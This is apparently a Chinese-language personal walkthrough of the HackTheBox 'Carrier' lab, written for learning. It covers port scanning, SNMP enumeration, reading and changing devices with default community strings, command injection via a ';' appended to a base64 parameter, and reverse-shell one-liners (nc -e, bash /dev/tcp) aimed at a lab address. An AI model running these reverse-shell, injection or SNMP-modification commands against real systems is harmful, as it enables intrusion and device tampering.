HTB Carrier
看来还是要从高分往低分去做 呜呜呜
渗透
1.信息收集
先看一下端口
先拿nmap去扫一下
1 | ┌──(kali㉿kali)-[~] |
不过没看懂这啥意思 找到一个好玩的网站 https://explainshell.com/
或者这样
1 | nmap -sC -sV -oA nmap/initial -vv -T3 ip |
Ok, 开了两个端口
应该就是单点渗透了
2.初步测试
只有一个登录框
先扫一下目录先
1 | gobuster dir -u http://10.10.10.105/ -w /usr/share/wordlists/dirb/common.txt -t 100 |
加上 -t 控制线程 会更快
但有点乱说实话
1 | /.hta (Status: 403) [Size: 291] |
看看存不存在弱密码或者注入
说实话 不知道为什么 我最近看到跳转的就不想去看了 这不对
得到一下三点有用信息
这里也说明了 存在别的服务但是我们没有发现
http://10.10.10.105/debug/ 直接 phpinfo 给出了
再来看看 http://10.10.10.105/doc/error_codes.pdf 这里有各种错误对应的码
可以看到的是页面上已经有两个错误码了
45007 和 45009
2.继续做信息收集
nmap怎么才能更详细地去扫?
我觉得我要重新学习一边nmap 我太菜了
1 | UDP扫描:(UDP扫描费时,所以去掉-p-,默认扫描)nmap -sU ip |
1 | nmap -sU 10.10.10.105 |
这里我实在是受不了了 太慢了
改用 masscan
1 | masscan --rate=1000 -p U:0-65535 --banners 10.10.10.105 |
快多了 但却是没扫出来啊啊啊啊啊
什么情况
只有这样才扫出来?大无语
1 | nmap -sU -o nmapudp 10.10.10.105 |
1 | PORT STATE SERVICE |
ok 可以来看看 这 161 端口
啥是snmp?
SNMP基础
简介
SNMP全称简单网络管理协议,是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,是一种应用层协议。通过SNMP可以访问设备信息、改写和配置设备参数等,SNMP运行在UDP161端口上,采用UDP协议在管理端和agent之间传输信息。
架构
SNMP架构主要分如下三个部分组成:
- 网络管理系统(NMS,Network-management systems)
- 被管理的设备(managed device)
- 代理者(agent)
上面这三部分从名字上看很复杂,其实很简单。我们只需要知道,”NMS”就是客户端,”被管理的设备”就是交换机、路由器之类的设备,而”代理者”可以理解为装在交换机上的一个程序而已。
SNMP版本
SNMP目前共有v1、v2c、v3这三个版本:
- SNMP v1是SNMP协议的最初版本,不过依然是众多厂家实现SNMP的基本方式;
- SNMP v2c通常被指是基于Community的SNMP v2c,而Community本质上就是密码;
- SNMP v3是最新版本的SNMP,它对网络管理最大的贡献在于其安全性,增加了对认证和密文传输的支持。
Community String
Community String
在交换机与路由器配置里意为”社区字符串”也有人叫”团体名”,其实说的都是一个东西。Community其实就是充当密码作用的一串字符串而已。大多数的设备供应商,默认都有两个Community String:
- public 通常用来查询(只读)
- private 通常用来查询和配置(读写)
P.S:很多安全问题就是由这两个”默认密码”而引发的。
MIB和OID
MIB全称管理信息库,是一种树状数据库;MIB管理的对象,就是树的节点。每个节点都有唯一名字和唯一OID(Object Identifier),OID由树上的一系列整数组成,整数之间用点( . )分隔开,树的叶子节点才是真正能够被管理的对象。
我们通过SNMP获取信息就会用到OID,比如网络设备名的OID 是.1.3.6.1.2.1.1.5.0,其值为设备名称的字符串。简单点来理解就是:把MIB当成一个k.v数据库,我们输入key(OID)就能获取到对应的value。
为了方便查阅,我们收集了一些OID列表和MIB库。
- https://www.10-strike.com/network-monitor/pro/useful-snmp-oids.shtml
- https://gist.github.com/JosefJezek/6824959
- http://www.ttlsa.com/monitor/snmp-oid/
OID查询
- http://www.oid-info.com/cgi-bin/display?tree=#focus
- https://bestmonitoringtools.com/mibdb/mibdb_search.php
除了上面提到的,其实还有一种方法可以获取MIB库。那就是直接从设备供应商的官网进行下载,如下是我在h3c文档上看到的。
UDP 和 TCP 啥区别?
UDP简介: UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的 上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报 文发送之后,是无法得知其是否安全完整到达的。
UDP显著特性:
1.UDP 缺乏可靠性。UDP 本身不提供确认,超时重传等机制。UDP 数据报可能在网络中被 复制,被重新排序,也不保证每个数据报只到达一次
2.UDP 数据报是有长度的。每个 UDP 数据报都有长度,如果一个数据报正确地到达目的 地,那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议,没有任 何(协议上的)记录边界。
3.UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。大多数的UDP实现中都 选择忽略源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报 4.UDP 支持多播和广播
https://blog.csdn.net/Li_Ning_/article/details/52117463
基于UDP的扫描
nmap扫描
1 | nmao -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500 (不推荐,理由慢) |
-sU 基于UDP的扫描
-T5 nmap的扫描速度 -T(0-5)越大越快
-sV 探测开启的端口来获取服务、版本信息
–max-retries
扫描探测的上限次数设定 -p 只扫描指定端口
msf扫描
两个模块
1 | use auxiliary/scanner/discovery/udp_prob |
1 | use auxiliary/scanner/discovery/udp_sweep |
use 引用
show options 显示可设置的参数
auxiliary (辅助)/ scanner(扫描)/discovery(发现)/udp_probe(探测)/udp_sweep(彻底搜索)
1 | msf6 auxiliary(scanner/discovery/udp_sweep) > run |
下次再也不用nmap了 太慢了 艹
net-snmp
kali系统里面已经内置net-snmp工具包,我们直接终端输入命令即可使用;net-snmp是我们本次测试SNMP主要工具,后续的操作都采用这款工具进行演示和操作。
Net-snmp工具包提供如下工具,支持对交换机进行各种操作。
而我们平常主要使用snmpwalk、snmpget、snmpset这三款工具进行测试。snmpwalk和snmpget都可以用来获取值,其主要区别是snmpwalk是对OID值的遍历,而snmpget是取具体的OID的值。
4.打snmp
首先要去获取一个叫 Community String 的东西,前面的基础知识已经介绍了Community String就是密码,所以我们要想使用SNMP肯定需要先知道它对应的”密码”。
然后分为两个步骤
默认密码尝试&爆破
大多数的设备供应商和一些网管都喜欢用public和private。
还真给试出来了
如果通过手动尝试默认密码失败之后,我们还可以进行爆破。一般SNMP密码都不会太复杂,很容易就跑出来了。
进行SNMP密码爆破,我们需要用到一款新的工具onesixtyone
1 | ┌──(root㉿kali)-[/tmp/sql] |
也不知道这算不算扫出来了(应该算吧
这里有个string STRING: "SN#NET_45JDX23"
看了眼wp 说这是登录密码 (捂脸) 我经验太少啦
snmp攻击学习
敏感信息获取
敏感信息获取。在拿到”密码”之后我们就可以开始下一步利用了,我们需要收集什么信息可以通过之前提供的OID表进行查询,需要注意的是不同设备OID是不同的。
- 获取设备名
1 | snmpget -c private -v2c 192.168.6.1 .1.3.6.1.2.1.1.5.0 |
- 获取设备运行了多久
1 | snmpget -c private -v2c 192.168.6.1 1.3.6.1.2.1.1.3.0 |
- 获取设备划分的vlan
1 | snmpwalk -c private -v2c 192.168.6.1 1.3.6.1.4.1.25506.8.35.2.1.5.1.2 |
- 获取设备开放的端口
1 | snmpwalk -c private -v2c 192.168.6.1 1.3.6.1.2.1.6.13.1.2 |
- 获取存活的内网ip
1 | snmpwalk -c private -v2c 192.168.6.1 1.3.6.1.2.1.4.22.1.1.634 |
如果嫌找OID太麻烦,还可以直接用snmpwalk遍历整个MIB库。然后把数据保存下来慢慢翻,这也是种不错的选择。
1 | snmpwalk -c private -v2c 192.168.6.1 >>h3c_oid.txt |
P.S:如果查询的内容返回值是单条信息,如”设备名称”可以用snmpget工具进行查询。如果是返回多条信息如”vlan信息”就需要用snmpwalk工具进行查询。snmpwalk单条信息和多条信息都使用,因为它是对OID进行遍历操作。
设备配置修改
除了可以读取信息,我们还可以对设备的配置进行修改。但这样做侵入性非常高,不建议这样做,一旦操作失误,极有可能暴露自己,从而导致权限的丢失。下面简单的演示一下配置修改:
我们先获取设备的名称。从返回值我们可以知道该设备名是”H3C”
1 | snmpget -c private -v2c 192.168.6.1 .1.3.6.1.2.1.1.5.0 |
我们尝试对其进行修改,把名称改为”hacker”。
1 | snmpset -c private -v2c 192.168.6.1 .1.3.6.1.2.1.1.5.0 s "hacker" |
再次获取设备名,发现已经修改成功了。
如果拿到的”社区字符串”是只读权限的,我们尝试修改会报如下错误:
在实战中,我们可以根据目标具体的场景来做不同的修改:如改一下设备的ACL。
SNMP rce
最后再来谈谈rce。SNMP并不是所有设备都可以被rce,目前看来好几个可以rce的都已经加到msf模块里面了。除此之外,如果目标是linux系统还可以借助NET-SNMP-EXTEND-MIB来进行rce。由于篇幅原因这里不再深入研究,具体操作可见下面两篇文章:
- https://mogwailabs.de/en/blog/2019/10/abusing-linux-snmp-for-rce/
- https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/
参考
- https://www.cnblogs.com/xdp-gacl/p/3978825.html
- https://www.anquanke.com/post/id/85976
- https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/
- https://www.anquanke.com/post/id/85976
- https://www.anquanke.com/post/id/260832#h3-8
5.登录后继续测试
1 | 用户 admin |
然后再去看看有没有什么可以打的地方
在这里找到了 像是可以进行命令执行的东西
抓个包来看看
base64解一下码试一试
ok 感觉命令执行有了
试了几条命令好像没啥反应 试了下 id 结果有反应了
但我还是没搞明白 到低怎么直接执行命令 估计是要去拼接什么东西?
Quagga的安装和使用 - 走看看 (zoukankan.com)
我大意了 加个;
就可以直接命令执行 小技巧 果然需要积累啊啊啊
bp ctrl + B 即可base64 (每天一个小技巧
可以命令执行后 我们想要反弹一个shell
貌似curl跑不通 试试直接反弹shell
1 | nc -e /bin/sh 10.10.14.7 5000 |
1 | root;bash -i >& /dev/tcp/10.10.14.7/5000 0>&1 |
估计是环境 or 网有问题 反弹shell过不来 草
6.路由劫持部分
这块说实话我是小白一个
升华部分
现在我们通过这题来思考一个问题
假如给你一个登录框
你应该测试哪些东西?如何去测试
正好这两天再先知社区上看到一个人写了类似的文章 这里 我也来总结一下